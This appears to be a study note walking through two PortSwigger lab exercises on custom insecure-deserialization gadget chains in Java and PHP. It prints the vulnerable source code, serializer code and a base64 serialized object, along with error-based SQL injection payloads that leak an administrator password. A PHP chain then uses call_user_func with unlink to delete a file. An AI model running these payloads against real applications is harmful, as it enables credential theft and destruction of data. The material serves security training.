When off-the-shelf gadget chains and documented exploits are unsuccessful, you will need to create your own exploit. To successfully build your own gadget chain, you will almost certainly need source code access.
- If the magic method is not exploitable on its own, it can serve as your “kick-off gadget” for a gadget chain.
- Study any methods that the kick-off gadget invokes. Do any of these do something dangerous with data that you control? If not, take a closer look at each of the methods that they subsequently invoke, and so on.
- Once you’ve worked out how to successfully construct a gadget chain within the application code, the next step is to create a serialized object containing your payload. This is simply a case of studying the class declaration in the source code and creating a valid serialized object with the appropriate values required for your exploit.
Lab: Developing a Custom Gadget Chain for Java Deserialization
The /my-account
page reveal a path to the source code file:
<!-- <a href=/backup/AccessTokenUser.java>Example user</a> -->
The content of that file:
package data.session.token;
import java.io.Serializable;
public class AccessTokenUser implements Serializable
{
private final String username;
private final String accessToken;
public AccessTokenUser(String username, String accessToken)
{
this.username = username;
this.accessToken = accessToken;
}
public String getUsername()
{
return username;
}
public String getAccessToken()
{
return accessToken;
}
}
But this is a rabbit hole.
Navigate to /backup
, there will be another source code file named ProductTemplate.java
. Its content:
package data.productcatalog;
import common.db.JdbcConnectionBuilder;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
import java.sql.Connection;
import java.sql.ResultSet;
import java.sql.SQLException;
import java.sql.Statement;
public class ProductTemplate implements Serializable
{
static final long serialVersionUID = 1L;
private final String id;
private transient Product product;
public ProductTemplate(String id)
{
this.id = id;
}
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException
{
inputStream.defaultReadObject();
JdbcConnectionBuilder connectionBuilder = JdbcConnectionBuilder.from(
"org.postgresql.Driver",
"postgresql",
"localhost",
5432,
"postgres",
"postgres",
"password"
).withAutoCommit();
try
{
Connection connect = connectionBuilder.connect(30);
String sql = String.format("SELECT * FROM products WHERE id = '%s' LIMIT 1", id);
Statement statement = connect.createStatement();
ResultSet resultSet = statement.executeQuery(sql);
if (!resultSet.next())
{
return;
}
product = Product.from(resultSet);
}
catch (SQLException e)
{
throw new IOException(e);
}
}
public String getId()
{
return id;
}
public Product getProduct()
{
return product;
}
}
As we know, readObject()
is a magic method that will be invoked automatically during deserialization process. This source code file redefines the logic of readObject()
that will perform a SQL query. Also, in the above source code file, the user-controllable input id
is passed into the query, which make this code is vulnerable to SQL Injection] vulnerability.
The simplified class declaration used for serialization:
package data.productcatalog;
import java.io.Serializable;
public class ProductTemplate implements Serializable {
static final long serialVersionUID = 1L;
private final String id;
private transient Product product;
public ProductTemplate(String id) {
this.id = id;
}
public String getId() {
return id;
}
}
Obviously, we also need to create a class named Product
in data/productcatalog
folder.
The folder structure:
│ Main.java
│
└───data
├───productcatalog
│ Product.java
│ ProductTemplate.java
│
└───session
└───token
AccessTokenUser.java
Where Main.java
will contain our main logic for creating malicious serialized object.
Specifically, we will create a method used for serialization:
public class Main {
static String Serialize(final Object obj) {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(512);
try (ObjectOutputStream out = new ObjectOutputStream(byteArrayOutputStream)) {
out.writeObject(obj);
out.flush();
} catch (Exception ex) {
throw new RuntimeException(ex);
}
byte[] bytes = byteArrayOutputStream.toByteArray();
String encoded = new String(Base64.getEncoder().encode(bytes));
return encoded;
}
}
The main()
method will serialize an object with id
is the SQL injection payload:
public static void main(String[] args) {
ProductTemplate productTemplate = new ProductTemplate("SQL Injetion Payload");
// Serialize the object
String serialized = Serialize(productTemplate);
System.out.println("Serialized: " + serialized);
// Deserialize the object
ProductTemplate deserialized = (ProductTemplate) Deserialize(serialized);
System.out.println("Deserialized: " + deserialized.getId());
}
The objective of retrieving administrator
’s password is same with Lab Visible Error-based SQL Injection. So we use the approach of that lab.
First, use this payload:
' and cast((select version()) as int) = 1--
The generated serialized object:
rO0ABXNyACNkYXRhLnByb2R1Y3RjYXRhbG9nLlByb2R1Y3RUZW1wbGF0ZQAAAAAAAAABAgABTAACaWR0ABJMamF2YS9sYW5nL1N0cmluZzt4cHQAKycgYW5kIGNhc3QoKHNlbGVjdCB2ZXJzaW9uKCkpIGFzIGludCkgPSAxLS0=
Response has this error message:
<p class=is-warning>
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "PostgreSQL 12.20 (Ubuntu 12.20-0ubuntu0.20.04.1) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit"
</p>
Next, try this payload:
'and(select username from users limit 1 offset 0)::int=1--
The response reveals the username of administrator
:
<p class=is-warning>
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "administrator"
</p>
Finally, we use this payload:
'and(select password from users limit 1 offset 0)::int=1--
The response has the password:
<p class=is-warning>
java.io.IOException: org.postgresql.util.PSQLException: ERROR: invalid input syntax for type integer: "1vkaymc4srmvzgd5k9nb"
</p>
Login with administrator/1vkaymc4srmvzgd5k9nb
, access /admin
and then delete carlos
user.
Lab: Developing a Custom Gadget Chain for PHP Deserialization
Found this comment in /my-account
:
<!-- TODO: Refactor once /cgi-bin/libs/CustomTemplate.php is updated -->
Access /cgi-bin/libs/CustomTemplate.php~
to get the source code:
<?php
class CustomTemplate {
private $default_desc_type;
private $desc;
public $product;
public function __construct($desc_type='HTML_DESC') {
$this->desc = new Description();
$this->default_desc_type = $desc_type;
// Carlos thought this is cool, having a function called in two places... What a genius
$this->build_product();
}
public function __sleep() {
return ["default_desc_type", "desc"];
}
public function __wakeup() {
$this->build_product();
}
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
}
class Product {
public $desc;
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
}
class Description {
public $HTML_DESC;
public $TEXT_DESC;
public function __construct() {
// @Carlos, what were you thinking with these descriptions? Please refactor!
$this->HTML_DESC = '<p>This product is <blink>SUPER</blink> cool in html</p>';
$this->TEXT_DESC = 'This product is cool in text';
}
}
class DefaultMap {
private $callback;
public function __construct($callback) {
$this->callback = $callback;
}
public function __get($name) {
return call_user_func($this->callback, $name);
}
}
?>
Info
Follow the solution: Lab: Developing a custom gadget chain for PHP deserialization | Web Security Academy (portswigger.net) to solve this lab.
Firstly, we see that DefaultMap
class has a magic method named __get()
that invokes call_user_function()
, which is a dangerous function:
public function __get($name) {
return call_user_func($this->callback, $name);
}
Also, we see that CustomTemplate
redefine a magic method named __wakeup()
:
public function __wakeup() {
$this->build_product();
}
This method then invoke build_product()
method, which will eventually invoke the constructor of Product
object:
private function build_product() {
$this->product = new Product($this->default_desc_type, $this->desc);
}
Important
Actually,
$desc->$default_desc_type
is__get('default_desc_type')
.
The constructor of Product
will assign its desc
property to $desc->$default_desc_type
:
public function __construct($default_desc_type, $desc) {
$this->desc = $desc->$default_desc_type;
}
We will utilize the $desc->$default_desc_type
command to call the __get($name)
method of DefaultMap
.
More specific:
desc
should be an instance ofDefaultMap
withcallback
isunlink()
.default_desc_type
should be"/home/carlos/morale.txt"
.
These arguments would be assigned to properties of an instance of CustomTemplate
class.
Final script:
include 'CustomTemplate.php';
$defaultMap = new DefaultMap("unlink");
$path = "/home/carlos/morale.txt";
$customTemplate = new CustomTemplate($defaultMap, $path);
$serialized = serialize($customTemplate);
echo $serialized;
We also need to make some modifications on CustomTemplate
class and DefaultMap
class. First, we change the constructor of CustomTemplate
to this so we can modify value of the desc
property during initialization process.
public function __construct($desc, $desc_type = 'HTML_DESC') {
$this->desc = $desc;
$this->default_desc_type = $desc_type;
$this->build_product();
}
Also, we need to change visibility of desc
property and default_desc_type
property to public
so the serialized properties do not have the class name (CustomTemplate
) prepended to it like CustomTemplatedesc
or CustomTemplatedefault_desc_type
:
class CustomTemplate {
public $default_desc_type;
public $desc;
// ...
}
Do the same with the callback
property of DefaultMap
.
Related
list
from outgoing([[Port Swigger - Create Your Own Insecure Deserialization Exploit]])
sort file.ctime asc